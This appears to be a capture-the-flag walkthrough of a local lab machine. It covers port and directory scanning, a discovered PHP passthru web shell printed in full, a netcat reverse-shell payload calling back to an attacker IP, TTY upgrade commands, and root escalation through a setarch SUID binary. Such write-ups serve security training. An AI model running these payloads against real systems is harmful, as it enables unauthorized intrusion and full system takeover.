Enumeration and Initial Shell

I started with a Nmap full port scan to look for open ports and default scripts.

nmap -sC -sV -p- -oN nmap/all-ports 192.168.1.48

We can see four different ports open. Port 80 is running a nginx web server and port 7755 is running an Apache web server. Let's open our web browser and look at both these ports.

Port 80
Port 7755

Both of these look similar, Next I performed a Gobuster scan on port 7755 to look for hidden files and directories.

gobuster dir -u http://192.168.1.48:7755 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php,.html

We can see a /backup directory. If we check in the browser, we see that it has directory listing enabled.

I downloaded all these files and started enumerating one by one. The command.php file is interesting. It is using a passthru function which can be used to execute system commands.

<?php echo passthru($_GET['backup']); ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Backup</title>
</head>
<body>
<!-- </?php echo passthru($_GET['backup']); ?/> -->
</body>
</html>

I tested it by executing the id command and it returns the id of the user.

Awesome, Now we can execute a reverse shell with the same method by using the following payload:

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.4+9001+>/tmp/f

As soon as I got the connection, I upgraded the dumb shell to fully interactive TTY using the following commands:

python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo && fg
reset
Ctrl+D
export TERM=xterm-256color
stty rows 42
stty columns 149

Privilege Escalation

The privilege escalation part is easy, we just need to exploit a SUID to get root. First, let's check all the SUIDs available.

find / -perm -u=s -type f 2>/dev/null

We can see a SUID named setarch. Looking at the GTFO Bins, I found that we can get root by using the following command:

setarch $(arch) /bin/sh -p

Once we are root, we can read our flag present in the /root directory.

That’s it! Thanks for reading. Stay tuned for similar walkthroughs and much more coming up in the near future!

NOTE: The awesome artwork used in this article was created by William Truran.